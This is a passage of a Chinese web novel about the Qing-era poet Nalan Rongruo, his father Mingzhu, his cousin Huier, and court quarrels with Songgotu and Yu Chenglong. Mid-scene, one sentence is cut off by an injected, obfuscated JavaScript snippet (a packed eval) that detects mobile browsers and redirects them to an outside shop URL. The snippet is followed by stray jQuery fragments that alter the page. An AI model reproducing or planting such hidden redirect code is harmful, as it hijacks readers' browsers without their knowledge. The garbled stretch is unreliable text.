“儿之前看待理藩院对军情不报之事,注意力都放在:当中的官僚为何没有自主判断力上面、进而让那徐乾学称了心思:挑起皇上对索党和明党勾结、把控、操持理藩院的疑心。近来忽然有了不同的想法——” “徐乾学这样的弄臣固然可恨,除了学问渊博之外没有任何可取之处,但是回归理藩院这个机构本身,问题诸多,阿玛理应上书皇上指出才是:军事和外交,事无巨细必须向朝廷报告;法度、贸易、地方治安,在任官员无法解决之事必须上报中央。如此,是否解决了信息传送问题?” “容若,你这想法,本质上还是分权。”明珠斟酌道,“皇上现在恨不得高度集权和事事亲为,你不怕他认为你在跟他唱反调吗?” “理藩院所辖三域的治理,本就具备特殊性。”容若深入道,“皇上不能把五项大权都牢牢紧握,张弛无度的话,只会造成两个极端:无人敢报或报不胜报。” “可是,这不等于治本啊!”明珠询问,“假设阿玛去审理藩院的三名长官,从‘是否权责不明’之处下问,也不是办法。” “阿玛你转念想想:比起问责,是不是让三名长官和理藩院上下明确职责后,才更能让人人都敢说话?” “有道理。徐乾学是文官,口才和思辨能力极好,所以他能够在理藩院中随心‘撬开’或‘堵住’那些官僚的嘴。”明珠气道,“着说白了,就等于是——对掌握我大清藩部地区的官员们的精神控制。” 容若道:“想要理藩院摆脱文官控制、重回往日状态的办法,不是叫皇上杀了徐乾学来正朝纲,而是让理藩院自身从上到下、从内到外地认识到:各司其职、德行配位的重要性啊!毕竟,杀了一个徐乾学,又会出现第二个徐乾学,难道不是吗?士人多难养,性本逐名利。道理就这儿呢阿玛。” “那就阿玛先去审?” “嗯。”容若点头,“审妥、上报,等皇上下指示,理藩院之事就算是告一段落。料想那徐乾学也能收敛一阵子。” 饭点的尾声,见容若喝完玉米羹后,明珠关切道: “儿啊,阿玛问你,日后你中举,需拜访主考官徐乾学。若徐乾学一面看重你的家势、一面谋夺你的才华,且对我明珠阳奉阴违,你会如何应对?” “儿可以说真话吗?” “你说。” “儿这个年纪,本不该多想自己的生前身后事,只是深深明白:活在现世的时候,就该‘不给任何人添扰’和‘护得纳兰一家周全’,阿玛你说是吗?” “老爷。”觉罗氏叫了明珠一声。 意思是: 顾着些容若的感受,别再追问了。 你问再多,容若至始至终都未变过:比谁都活的透彻、活的玉洁。 * “揆方准备去渌水亭读书写字,一会容若哥哥也来。” “好。” 也不知道是怎么回事,小揆方从饭桌离席的时候,碰了一下自己身侧的长兄,竟有一块方帕从长兄的袖中掉了出来。 这要是容若自己日常用的,倒也不打紧,偏偏是上面的一朵刺绣玉兰花引起了明珠的注意。 明珠从地上捡起方帕,不悦问:“儿啊,你这是什么?何处而来?” 小揆方垂手站在长兄身边,低头小声道:“容若哥哥,对不起。” “别放心上。” 容若给嬷嬷递了眼神,意思是让嬷嬷先把小揆方带到渌水亭去,饭厅的事情自己会应对。 明珠复道:“容若,你是自己说?还是等阿玛问第二遍?” 纳兰惠儿在心里恨骂了一句:沈宛,我就知道,只要有你在表兄身边,表兄迟早会被你害死! 惠儿一咬牙,替沈宛担了“罪名”道:“伯父,这块方帕是惠儿给表兄的。” 惠儿心想: 沈宛你但凡有点良心,就该知足。表兄待你好,你可以全盘接受不回礼不相谢,因为表兄待谁都很好,世上就只‘纳兰容若一个全心全意善待他人、不计冷暖’之人。 如今你倒是连“定情信物”似的东西,都敢往“天下人的纳兰公子”手里送了,简直是:天下女子,无出于你之左右者! “荒唐!”明珠不信,“惠儿你的绣工比这上面的玉兰花好。” “偶有不尽意之处,请伯父原谅。” “不可能是惠儿你。”明珠敏锐判断,“你给容若送东西,亲手做的必定是最高最好最无挑的一品,不会是这种看着传神,实际却是下了猛功夫、在短时期内学成之物。” 觉罗氏亦道:“是啊惠儿,咱们纳兰家的人上手做东西,就好比是你给容若的荷包、香包、挂坠;袖云给公子做的笺纸、书校、药盒;容若自己做的纳兰香、九节扇骨折扇、白玉雕烛……哪件不是能把能工巧匠比下去的?” “惠儿,你不必替容若瞒着。” 明珠给儿子开了一堂课: “容若你记着:整个大清的女子都可以爱你、恋你、慕你,但是我明珠不许有谁拿这种配不上你的东西讨你的好!” “儿觉得挺好。”容若平和道,“阿玛怎就觉得配不上?” “糊涂!”明珠指着桌面,“我明珠的长公子的吃穿用度:哪怕是衣服上的一根线,都是相衬过珠玉之后再定制纺织的;哪怕是烧麦里的一粒米,也是照着你的口感去蒸煮、不敢算差一丁点时间的。” “身外之物……就不行吗?” 容若轻声问。 “自然是不行。” 明珠应的斩钉截铁。 “虽说照着家规是错的,但儿觉得自己没错。” “阿玛不多训你什么,留着你自己反思就是。”明珠把方帕交给觉罗氏,“至于此物,就先由你额娘收着。” * 渌水亭。 小雪轻飞,冷风微吹。 容若坐在小揆方身边,陪他读书写字。 见惠儿过来,容若就与她一同到旁侧的栏轩处坐着。 “表兄会觉得惠儿表现的唐突吗?”惠儿带着些后悔,“惠儿应该猜到伯父不会信惠儿说的那些话。” “不会,惠儿你是为我好。”容若浅笑,“换成别的女子,不愿也不会。毕竟你我都不知道明珠会不会往深处追究。” “宛姑娘的方帕被伯母收着,没有伯父的许可不可拿给表兄你,表兄你可会觉得寂寞?” “怎么说呢?一种习惯了的孤独感罢了。”容若看着落雪,“也是自己给自己多添了一个该记住的词:身外物。” “宛姑娘觉得自己屡屡跟表兄你见面,是在做自己应该做的事情,表兄你似乎也对此带着某种意义上的期盼感。只是惠儿以为,事频则坏,多见非好,表兄你还是要顾着自己和伯父伯母的感受才好。” “惠儿,不说我的事情了。”容若问她,“接下来的秀女大选,你准备的怎么样了?” “就跟是将士要出征了一般,去往一个新的战场,跟许多花容月貌的女子们一起争夺一个帝王的爱,得之有幸,失之无憾,日日夜夜在宫墙内伴着内心的千绪万感而活。” “有了小阿哥之后,从嫔妃变成母妃,就能从为皇上带去笑声变成一个拥有笑声的女子吧?” “是啊,宫里的女人,需要子嗣。才能在位份上站稳脚跟、才能在别人面前有底气、才能比没有子嗣的妃子多一分仁慈和人性。” “惠儿你要答应我,后宫之中永远只有确定的输家、而没有真正意义上的赢家,你要做一个好妻子、好母妃、好女人。” “表兄要听惠儿的心里话吗?”惠儿笑了笑,“惠儿不怕与人相争相斗,怕的是有人争我斗我我却不知道。” 容若看着自己的表妹,觉得惠儿美丽且颇具慧识。 “那惠儿你就——”容若想了个招儿,“记着这句话:为己存活,人将我我必反将之;为己利益,人不义我我必先制于人;为己私欲,人先防我我必叛人。” “惠儿记下了。” “日后有机会,宫内定能相见。” “悄着见吗?” “不是,是请了皇上的准,正大光明地见面。” “表兄为什么……?” “纳兰性德何须枉背一个‘私会嫔妃’的罪名,纳兰惠儿何须徒担一个‘不遵宫规’的大罪?你我之间的情份,既然是断而不能断,那就不要断的太彻底,留出一个见面的余地来。” 惠儿摇头:“皇上不可能同意。” 容若说了自己的想法:“君臣之间是交易,谋略之间是博弈;帝妃之间是互利,感情之间是互惠。所以惠儿,我们身正言清,相互见面说说话、只说最想说的那几句,有何不可?皇上不会把事情上升到‘旧情未了’的荒唐地步。” 惠儿担心:“史官若是记载了,后世之人就有发挥的余地。” 容若风轻云淡:“那戏班子就是有接不完的戏、说书人就是有接不完的场子、看客们就是有道不尽的话题……正是这样,才越发不可信,对吧?” “嗯。”惠儿点头,“千言万语,惠儿只想说一句:表兄你,真的待每一个与己相关的女子都很好。” ——无论她们处在何时何处、爱你怨你、近你离你,你心中至善的暖意和好意,从未变过。 “容若哥哥……” 不远处传来了几声小揆方的叫唤声。 “表兄去检查小揆方的功课吧!” 惠儿温婉而笑。 容若起身,走向弟弟所在的位置。 惠儿看着那道翩翩背影,记得真,笑得深。 没错,纳兰容若的背影理应如此,一道扣人心弦、动人悲喜的风景线。 * 石桌前。 小揆方问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13528862|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“容若哥哥为什么把此处命名为:渌水亭?” 容若拉着小揆方的手,行走在渌水亭长廊内,道: “长兄不喜琴而爱听筝,‘渌水’原是曲名,白居易说:‘闻君古渌水,使我心和平。’长兄却不觉得尽然。我素爱水,幼时读《离骚》,唯独记得‘惟渌有之’这四字题词,方在通晓文墨之后,独取了‘渌水亭’三个字来共拥先贤的一份心志。” 小揆方明白道:“容若哥哥离不开水,所宿之处,必有近水亭台。” 容若指向那片残荷荷池,“夏有佳荷,荷出碧叶迎空;府有公子,人谓碧玉临风。皆是一个‘绿’字,而非‘渌水’的‘渌’,小揆方,你觉得呢?” 小揆方侧着脑袋,仰望着长兄,“绿水不冷渌水冷,菡萏无雕人却雕,容若哥哥向往渌水的久远、自由和无涯,但却无法走出这座开阔、华美、森严的明府。” 容若温声对弟弟道:“长兄或许成不了渌水,或许只能做一片耐看耐赏的绿荷叶,但长兄希望你不会这样。要好好成长、活出自己来呀,小揆方!” “是,谨遵长兄教诲。” 小揆方随着长兄走入长廊深处,好似快到一座假山边。 那座假山,上书四个大字:平安纳福。 “那四个字真适合纳兰家。” “是啊,从长兄孩童之时书写至今,快过去十载了。” “容若哥哥,我也想写。” “好,小揆方你把大字写在纸上,然后长兄交待人去照着你的笔迹雕琢、上红漆、刻章落款。”容若笑道,“新年嘛,是该有这样的好意头。” “揆方现在就想写。” “先写长兄的掌心好不好?” 容若伸出右手,半弯腰在弟弟面前。 “好!” 小家伙一点不怕长兄手冷。 揆方一笔一画写下:兰玉齐芳。 “平安纳福,兰玉齐芳。真好!”容若赞道,“纳兰家就该这样,一家子平平安安、常怀高洁品性,存在于天下、为天下所鉴看。” “到长兄的书房来写。”容若指向不远处,“小揆方,长兄觉得你的书法写的好,在将来定是能够成为一代名家。” “作为纳兰家的公子,人生一定要在某个领域有所建树吗?” 小揆方忽然止步,用很复杂的目光看着容若。 “长兄只是夸你,没有指引你成为书法家之意。” 听到弟弟这句话,容若觉得不解,怎么就被误会了呢? “原来是这样!” 小揆方的脸上,瞬间重回了笑容。 * 是夜,寝室之中。 容若拥被靠坐在长榻上,身边只有侍女袖云陪伴。 “真是奇怪,我平日里跟阿玛讲话会格外注意言辞,那是因为我自己记得作为长子的责任和出自对阿玛的尊敬。可是,近来我却怕自己稍有不慎,某句话就会伤到揆叙和揆方。袖云,我想做个好兄长,你觉得我合格吗?” “袖云以为,是公子太过有担当、太过在乎他人的感受的缘故。” “我会怕……怕某一日一家子一起吃饭的时候,揆叙和揆方不愿坐在我两侧。” “这自然是不会。”袖云安慰道,“公子怎么了?” “同龄朋友只有皇上一个,怕失去这唯一的一;好表妹只有惠儿一个,怕日后无法再相见,而与她约好堂堂正正在宫中再相见;绣了玉兰花的方帕只有一块,已经拿不回来,却只能强作‘身外之物’解。” 容若好似在寻求谁能给自己解忧一般,握着菩提手串道:“所以怎么说,今日发生的事情有点多,晚上要好好捋一捋才能睡下。” “公子,若是将今日之事都归为寻常事,会不会让自己自在一些?” “为什么是寻常?阿玛不问不责,叫我不知道怎么办好,他是在等我主动去坦白,还是真的原谅了我?惠儿总说我好,说我是:天下人的纳兰公子,这让我觉得慌,我的存在,只是让人判断是否消受的起吗?” “公子这么想,便是深邃。不妨听袖云几句:老爷是真的没怪公子,怪的是送帕之人配不上公子;惠儿小姐是打着心底里觉得公子世无双,并非是公子完美到不属于世之意。” “那我的玉兰花——” 袖云开窗,柔声和劝道:“公子的玉兰树,还有公子跟额娘一同种下的‘明开夜合树’,都在窗前好好守护着公子呢。” 容若这才安心地露出一个笑容。 “袖云,你明日去请明府专属的石刻师来,就说:三公子着书四字‘兰玉齐芳’,需刻在渌水亭走廊尽头的假山前的大石上。” “是,袖云记下了。” “等到石刻师把揆方的字刻好以后,你要吩咐家丁们把大石恻摆,下垫石球一个,斜立而放。”容若用双手比出模样,“我的字和揆方的字平分秋色,要放在多个角度都能被家人们和宾客们看到的地方才好。” “不然——”容若起身,“无论是谁的字向外、谁的字在内,都是不公。” “公子你去哪儿?”袖云拿了衣服跟上。 “我去书房看小揆方写的字。”容若带着真切,回头笑道,“就是想再看看。” 袖云给容若披上冬衣时,只感觉: 公子的浑身是冷的,内心却是温暖无比的。 公子的脚步是快的,盼着亲情缓流确是真。 42.第42章 数日后。 毫无预兆地—— 传来了“鳌拜在天牢暴毙”的消息。 太和殿内外,群臣皆惊。 在康熙皇帝上朝之前,百官交头接耳,议论纷纷。 正殿之内,明珠和索额图分列前排。 二者相互端着一副官姿,终于从冷面以对过渡到了舌战。 “明珠大人,你真不为自己的长公子容若的命灯积点德吗?” 索额图这么说,等于是给自己周边的官员们明示:鳌拜就是明珠所杀,明珠这么的干的原因,无非是打击报复鳌拜口中咒容若的谶言。 “鳌拜之死,与我明珠无关。” 明珠应的简练,但是深深感受到了来自四周的目光的灼痛感。 那些目光,好似全都带着质疑,认为: 新任的刑部尚书果然狠绝,为了爱子,真把已经沦落为阶下囚的鳌拜给“神不知鬼不觉”地结果了性命。 “难不成皇上下的密旨?”索额图一脸讽刺,“呵呵,你别为自己开罪了。” “天谴也好,皇命也罢。”明珠一仰头,“鳌拜死了就是死了,事实面前容不得像你这样——故意开散话题的乱臣嚼舌根子!” “你说谁是乱臣?”索额图被明珠的话一气,“明珠你不抓紧时间调阅前朝遗留至今的冤假错案,反而杀鳌拜给众人看,是不是想显摆自己颇得圣心的威风?” “索额图,你有什么证据证明:鳌拜是我明珠杀的?” “你有心杀鳌拜,又岂会让我找到证据?”索额图反问,“你把鳌拜一杀,长公子容若的寒症就‘药到病除、永绝后患’了吗?嗯?” “我儿量大福大,鳌拜的毒舌自然是咒不了他。”明珠指向穹顶,好似请天公为证,“鳌拜会落得一个‘咒人害己’的下场,完全是自找和报应!” 此时,响起了司礼大太监的一声高喊:“皇上驾到——” 明珠和索额图立刻停止了斗嘴,拍了拍朝服上的灰尘,与满朝文武一同向康熙皇帝叩首:“吾皇万岁万岁万万岁。” 玄烨威严地往宝座上一坐,中气十足道:“众卿平身。” 在万众之上,玄烨开口道:“佞臣鳌拜暴毙,是为天意,作恶者,天诛之,顺应了常理而已,谁也不许多议!” 索额图冷看了明珠一眼,在心里骂道:“皇上果然是给你,呸,是给你儿子撑腰的!” 玄烨继续道:“接下来,朕有言实行,着手处理漕运和河运之事。众卿有何看法,站出来直言就是。” 看见明珠第一个站出,索额图差点咬到了自己的舌头,在他看来,就跟是明珠早知道了天子会问什么,已经准备好了话术去应对一般。 只听见明珠道: “启禀皇上,治水为安邦之本。臣闻有一能臣名叫:靳辅,耗时两个月有余写下《治河八疏》,可当重用。” “臣从靳辅口中听得:治理黄河,当以‘束水攻沙’为先,以在主堤之外再筑建围坝为辅。另外,还需将精力放在黄河的中段之上,开挖中河,让南北行船、商船、官船避开沙多水浅之河域,从新挖的河道通行,才是提效节能之佳策。” 玄烨听罢大喜,认同道:“明珠大人言之有理,朕正好有意让靳辅来担任这项差事的总指挥。” 此时,于成龙站出来道:“启禀皇上,臣反对靳辅之策、亦反对明珠大人之言。” 明珠表面喜怒不形于色,心中却想:好一个于成龙,到底把自己当了谁,有几分把握敢在皇帝面前驳诉本官? 玄烨道:“于大人,你若是有不同意见,直说就是。” 于成龙拱手道:“臣以为,治理黄河,当以疏通海口为主,缓解水流压力才是防止水灾泛滥的关键,绝非靳辅所言的‘中段为主’之下策啊!” 明珠冷道:“于大人是觉得朝廷拨不出银子来吗?靳辅之策,无疑是费银子和费人力,但你之策,钱和人是省了,却是不能治本!” 玄烨道:“朕认为,应先行靳辅之策,以观后变。” “皇上英明。” 明珠响应完天子,复对于成龙道:“先后有序,于大人若是对靳辅对我明珠看不顺眼,大可以在我方治河无功之后,再发挥用武之地不迟。” 于成龙怒斥明珠道: “明珠,你先为爱子容若而恼杀鳌拜,后为逢迎皇上的河运漕运之想而举荐靳辅,全凭一己私欲,简直不配为臣!” 玄烨朝大太监顾问行一使眼色,顾问行就站了出来,代康熙皇帝道: “住口吧,于大人!” “口无遮拦,君前失态,此第一错;不听圣言,再提鳌拜,此第二错;以下犯上,未有实据而辱骂朝廷命官,此第三错。理应当着群臣的面掌嘴二十!” 于成龙自然是不服也不从。 玄烨就从宝座上站了起来,然后走下銮阶,一步一步走到于成龙面前,对他警告道: “朝堂是可以说话的地方,但你记着:朕想听的,都是些经过深思熟虑之言,而非你这些带着怒火的不平之语。你自行退下吧——” * 明府。 明珠回到家中,瞧见了坐在渌水亭中手执一卷、模样似雕无需用过多美好的词句去描述的翩翩公子容若。 他心中有种感觉:好像看得见儿子的时候,无论是离的远还是离的近,自己都能够很快地安静下来,心中的许多火气和愠怒,都能够减少一半、甚至完全不见一样。 明珠自嘲了一番。 ——我的容若怎么成了个观赏品? ——可是容若确实是耐看、也耐品啊! 明珠坐了过去,听见容若道:“儿坐在渌水亭里,听听雕石的声音也极好。” “你不爱铺张,不然家里应该张灯结彩一番,显显你的生辰的氛围。” “阿玛你说,云辞格格的生辰是不是跟儿一样,在一群认识的和不认识的宾客中度过,唯独不见年纪相近的八旗格格、世子一同来玩?” “玩?”明珠失笑,“用错词了,容若。” “放开性子、畅所欲言、嬉笑怒骂、处之不羁,不就是一个‘玩’字吗?”容若释卷托腮,问父亲,“哪错了?” “大抵是没错。”明珠拿起桌面上一只炸板栗吃,“只是这个‘玩’字,不像是我明珠的儿子会说的。” “好吃吗?”容若问,“这个点心,皇上觉得是自己独创的,实际上儿在‘饮水词歌·素菜馆’尝过无数次。” “那阿玛现在吃的——” 明珠在心中琢磨:是你叫素菜馆外送的?家里的小厨房做的?还是你亲手做的? “阿玛答我,好不好吃?” 这么央求明珠的时候,容若觉得自己像是个小孩子。 “好吃。” 明珠心中一震,莫名觉得自己好像做了一回普通的父亲,竟有些喜悦。 “父子之间偶尔有几回不拐弯抹角的对话,不也挺好吗?” 容若倒是盼着明珠能多吃几颗。 “阿玛方才还猜,要是眼前的炸板栗都是皇上赏你的呢?你怎么就乖乖地接了?所以不可能是皇上。” “当成皇上的赏赐也没什么不好。”容若笑道,“就好比是皇上暗暗杀了鳌拜、却让阿玛你背负了一个‘疑名’一样,总要有那么一些君臣默契,未打招呼也能彼此揣摩透彻的君臣默契。” 明珠在容若面前小声道:“皇上杀鳌拜,那是为你呀!” 容若却是很坚定地道:“皇上为我,我为阿玛。” 那盘“香酥炸板栗”静静地放置在桌面上。 伴着公子的笑颜,伴着一卷书香,伴着明珠的觉察。 这便是《明珠家事》中的: 容若素爱菩提子,取栗小炸,似其形,雅名曰:笛月参菩提【注1】。 一日渌水亭雅坐,见父归,邀父尝之,不言亲手所制。明珠奇之,知后赞曰:“吾之为君,尽股肱;吾子为吾,谨谋略。至幸。” * 晚上,明珠一家子围在室外的亭子内吃火锅。 觉罗氏问:“老爷,皇上先是决意囚鳌拜至死、后又暗下指令杀了他,是何意啊?” “皇上对鳌拜的三十大罪状是气,对鳌拜毫无理由地——” 明珠原本想说出“咒容若折寿早亡”这句话,但是顾及儿子感受,就改口道:“口出伤交情之言是恨,恨之所及,杀之方解气。” 觉罗氏揣测着道:“皇上跟容若之间,交情能凌驾于君臣之情之上吗?” “我明珠曾怕自己步步高升会影响容若的任职,如今却觉得容若只要跟在皇上身边,有职无职都好。”明珠笑看儿子,“阿玛没说错吧?” 容若道:“借阿玛吉言,儿觉得即便是伴君,也是自由最好。” “阿玛,容若哥哥喜欢像渌水一样的自由,奔腾自天上而来,落地而生生不息、流长而瞬息万变。”小揆方道,“我希望皇上不要给容若哥哥一个错职。” “何谓对错?”明珠问三公子。 “比如说,容若哥哥能够胜任任何品阶的文职或武职,皇上却只让他做殿内的帷幄之臣。” “瞧瞧小揆方,也像是长大了一般,”觉罗氏欣慰道,“懂得为长兄考虑了。” “回额娘话,揆方最喜欢容若哥哥了。” 三公子说的是真心话。 这个纳兰家里面,的确是长兄最好。 就好比是渌水亭花园里的书写了大字的大石,天底下哪有兄长会在反复看了弟弟的书法之后,连夜照着弟弟的行笔风格、雕刻出一个写了弟弟名字的“落款章”的来相赠的? ——只有我揆方的长兄纳兰容若。 ——那枚落款章,我一辈子珍惜、一辈子受用。 * 吃罢火锅。 下人们端上了一些只有明珠府才能吃的上的新鲜水果。其中,就包括容若爱吃的:盐水泡凤梨。 “我明珠的三个儿子都不会娇生惯养,锦衣玉食只是应得的福分。” 说着,明珠恨拍了一下石桌: “朝中流传我明珠贪婪,像是于成龙那种仗着一身正气就为所欲为的清官,竟然敢当着康熙皇帝的面跟我作对!” 明珠从袖中拿出一串不知道什么时候准备好的菩提手串来,戴在容若的左手上。 “这朝中有不少人见不得纳兰父子好,但是我儿子的安然,由我这个做父亲的人来守护。” “于成龙说我溺爱容若、逢迎皇上,不配为臣!” 明珠甩了甩凤梨片上面的盐水,道: “我就给他顶了回去,我的大意是:你于成龙当清官就只会给朝廷省钱了?因为省钱而导致修河筑坝的质量问题,后期补救,消耗的银子更多!说什么治理黄河以治理各河口为主?釜底抽薪,扬汤止沸有用吗?” “皇上就叫于成龙自己掌嘴二十。” “老爷,你反驳得好!”觉罗氏解气道,“那样倔脾气的清官不会认错,掌嘴自然是最合适的。” 明珠脸上没有什么表情,吃完了一块凤梨,又拿起了另一块。 小揆叙问:“阿玛,我们纳兰家为什么会招惹像于成龙那样的清官?” 明珠简单道: “在阿玛看来,皇帝脚下的官僚只分两类,一类是德行配位,另一类是德不配位。但是有的清官,就是看权高位重之人不顺眼。” “哼,于成龙,与其说是真的有骨气肃清不良之风,不如说纯粹是想在情怀上获得自我满足感。所以,那家伙才敢跟我纳兰家过不去!” 容若切中要害道:“阿玛知道清官最怕什么吗?一是人赃俱获,二是欲加之罪。阿玛你要有心让皇上革职于成龙、而重用靳 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明珠冷笑,“大清需要这样的忠臣做例子,那我明珠即便是在于成龙手中暂时栽了一把,也不打紧。” 容若道:“当下,阿玛上手翻阅刑部冤假错案的卷宗之前,务必先要把理藩院之事向皇上陈述清楚,等理藩院之事了结之后,再在新位置上放手大干一场不迟。” “阿玛听你的。”明珠点头,“防徐乾学那样的小人,比防于成龙那样的廉吏重要。” * 容若回房以后,从手上取下明珠相送的菩提手串来看。 “袖云你看,赤红色的小凤眼菩提子跟绿松石天珠搭配在一起,格调真好。阿玛用心为我甄选,我便是爱不释手。” “公子素手近佛,无论是金刚菩提子还是小凤眼菩提子都合适戴着。” “我只在十岁那年用过《一斛珠》的词牌名,后来就再也未写过,你知道为什么吗?” “袖云跟在公子身边已久,必定是要体会公子心事的。《一斛珠》适合悲调不适合切实心情而填,公子厌琴,此词牌却是最合琴律,词成衬琴曲,非公子所愿。” “那你觉得菩提子、天珠,甚至是皇上赏赐给我的朝珠,应该配哪个词牌名好?” “袖云以为,适合写五律,公子说呢?” “没错。”容若带着澄澈美好的笑容,“袖云你果然是懂我,帮我研墨——” 容若亲自取了纸笔。 今夜,不填词,只为自己喜爱之物和感动之物写五言律诗。 * 翌日。养心殿。 容若等候在侧席,却看见进来的不是皇上,而是梁公公。 “奴才梁九功,照着皇上的意思,特意为纳兰公子带来了凤梨。” 说罢,梁公公就把一个看上去个头不大不小、看着精挑细选过的凤梨连着托盘捧到了容若面前。 “皇上人呢?” 容若接下了凤梨,暂时放在侧席桌案上。 “去坤宁宫陪了皇后。” 梁九功应道。 这么说来,玄烨这回是自己主动去看望赫舍里皇后的,太皇太后和敬事房那边都没有操心。总管大太监顾问行认为,是索额图在擒拿鳌拜的过程中立了功的缘故,才让万岁爷对赫舍里皇后格外好。 梁九功问了顾总管里面的门道,得到的回复是:“万岁爷回报明珠大人和索额图大人的形式,你觉得是谁赚了?” 那时,梁九功挠了挠头,“难不成是纳兰公子赚了?” 顾问行笑道:“纳兰公子赚什么了?咱们万岁爷觉得自己做的对罢了。” “那皇上叫我来做什么?” 容若看着那只凤梨。 “皇上看重纳兰公子的才华。”梁九功夸道,“让纳兰公子把自己喜欢的汉诗译成满文,好在八旗子弟当中传阅。” “我喜欢的?”容若疑惑,“皇上真没有自己先挑过一轮?” “这奴才就不知道了。”梁九功一弯腰,“奴才先到外头侯着,公子有任何吩咐再叫奴才。” * 宫中的雕栏侧,站立着两个人。 原本这两人没有交集,只是因为同样一个政敌“纳兰明珠”,而投了缘和约了见。 索额图对于成龙道:“于大人,掌嘴二十的滋味如何啊?” 于成龙大骂一声:“明珠父子迟早乱我大清!” “瞧瞧——” 索额图用目光引于成龙往远处看。 “明珠家的贵公子得了一个凤梨,咱们皇上怕是为了他也要把台岛给收复了。”索额图口吻阴冷,“于大人你说,这是咱们皇上建功立业?还是君侧当清?” “我于成龙自诩要做:天下第一廉吏,如今却沦落成一个为‘天下第一权臣’明珠和‘天下第一贵公子’纳兰性德而掌嘴的笑话,真是忿恨难消!” “于大人,你掌嘴二十之事是钉在史书上的,还要什么颜面?”索额图冷讽道,“他日纳兰性德早死,得知你弹劾扳倒明珠,能从坟墓里跳出来索了你的命,你信不信?” “先帝爷赐我尚方宝剑,可惜最多可以处斩四品、五品以下的官员,奈何不了从一品的明珠和他那个相当于正三品的贵公子。” “于大人可要把尚方宝剑拿稳妥了,一旦斩错了人,那就是等于谋反。”索额图指向不远处的贵公子,“还不如给自己辟辟邪。” 于成龙一跺脚,一腔怒火只化作一句: “混账!人人进宫面圣,不论官龄品阶,必穿官服必正衣冠,就明珠的儿子得了‘穿私服’和‘不必戴冠’的特许?” 容若带着凤梨走出皇宫,想跟沈宛一起吃。 才发现:沈宛从来都居无定所,自己对她,只求可遇,不求可找。 【注1】笛月参菩提:名字含义和来由,见第38章 43.第43章 对容若而言,自己喜欢的东西就会特别珍惜。 他带着凤梨来到“庄周梦蝶”字画店,问周老板沈宛来过没有。 周老板开玩笑道:“纳兰公子是为宛姑娘而来,而不是为本宝号而来,小的但觉不甘心啊!” ——那就是宛卿没来过。 容若低头,心生遗憾。 但容若很快笑道:“这样,我给周老板你留一个上联,你把上联悬挂出去,谁在我生日之前对出了最佳下联,我就亲自绘画题诗做酬如何?” “小的还是佩服公子的器量啊!”周老板喜道,“有请公子赐联——” 容若在红纸上用黑墨写下: 问纳兰容若词涯羁旅,心事几人知? “妙啊,公子。”周老板欣赏道,“光是‘纳兰容若’四字,就寻四字名字之人来与公子相衬。词涯羁旅更是把公子的所长和志向都点了出来,让人知晓公子是个什么样的人,更是难寻典故相对。” “那周老板可是谅解我入店后的那一问了?”容若谦雅道,“我只是想告诉宛姑娘我手里有一只上好的凤梨,怎会忽略周老板你的店铺的存在感?” “纳兰公子说出‘谅解’二字,真是折煞小的了。”周老板惶恐道,“公子你这般照顾小店,小的只会牢牢记得公子的恩德。” “我在宫里写了半日满文,周老板你看我刚刚写的汉字是否风格如旧?” “还是价值千金的纳兰公子的字迹。极好。” “这就好。”容若安心一笑,“我今日有些累,先告辞。” “公子,保重啊!” “嗯,我会。” 容若跨上马,但觉疲乏,伴着眩晕。 但仍旧在阵阵马蹄音中奔向明府,他好想告诉沈宛: “今日在养心殿里把自己喜欢的诗作译成满文,我不敢挑自己真正喜欢的李商隐的诗,而是挑了历代具有代表性的豪放派的大家的作品。” “我宁愿相信:我译制的满文作品真的能够传到八旗子弟们的手中去,而不是皇上用来给我安排差事的借口。我没有一个同龄的八旗世子的朋友,如果他们能稍微看一眼我的文字就好了。” “所以我在译制满文时就特别高兴,好像自己交到了朋友一样。我知道我不该这么想,因为这些好事不可能发生在我身上。宛卿你看,那些八旗世子和格格们都过的很好,如愿的事总比悲愿的多,我也想像他们一般。可是,他们的圈子里根本无需再多添一个人,我的出现、我的文字、我说的话……会打扰到他们,我本就不该忘记这份自知之明、而对着许多满文译稿高兴好久的,对不对?” “这些话我没法对任何一个人说,只有你宛卿……” * 到达明府时,容若下马后就站不稳了。 袖云把容若扶进房间,用浸了温水的帕子擦了擦容若脸上的倦容。 “三天后就是我的生日,我要打起精神来。” “饮茶无用,公子不如放松一些,闻闻馨香瞧瞧月亮也是好的。” “好。袖云,点香,开窗。” 容若消遣了好一会儿,方对侍女道: “袖云,我新得了半句词:十八年来堕世间,吹花嚼蕊弄冰弦。你去帮我把这句词传达给阿玛。” “你跟阿玛说,公子的意思是:斗廉吏于成龙不可硬碰硬,给皇上留点揣测的余地,可以顺遂阿玛心愿。” 袖云聪慧道:“公子太高明了,表面写女子,暗地里却是一道需要细细揣测的妙计锦囊。” 容若淡笑着看桌面上的小香鼎,道:“之前太皇太后有意将卢氏姑娘指给我【注1】,要是我这句诗或者这个锦囊被追问是何意,阿玛就可以有个借口称:是容若写给卢氏姑娘的情话罢了,不足道。” 袖云明了道:“这个掩饰之法好!不露破绽。” 容若催道:“阿玛定是能懂我的意思,想必于成龙此刻对纳兰父子恨的咬牙切齿,我不帮着阿玛快些反击一把不行,袖云你快去办。” “是,公子。” 明月看罢,疏星数透。 淡香挑过,心情渐阔。 容若关上窗户,从软榻上走下,想着自己回到床上去歇下。 却不料未站稳、也未扶稳软榻上的矮方桌,倒地昏死了过去。 一只玲珑剔透的白玉茶杯,顺着容若的手被带落坠地,发出了震惊明府上下的一声脆裂之响。 * 密林,宋宅之中。 沈宛觉得自己就跟是丫鬟似的,端茶水“伺候”在宋应星和徐乾学之间。 想来那日从纳兰公子口中听得徐先生的名字时,她还笑道:“全学?徐先生真能囊括天下知识吗?” 公子带着个很可爱的表情道:“至少徐先生的知识比我强,等到我拜入他门下之日,定要高喊上三句:‘我得到一个好老师了!’ ” 她撞了下公子的脑袋,道:“我看公子博闻强记比徐先生强多了,不必造势于他。” 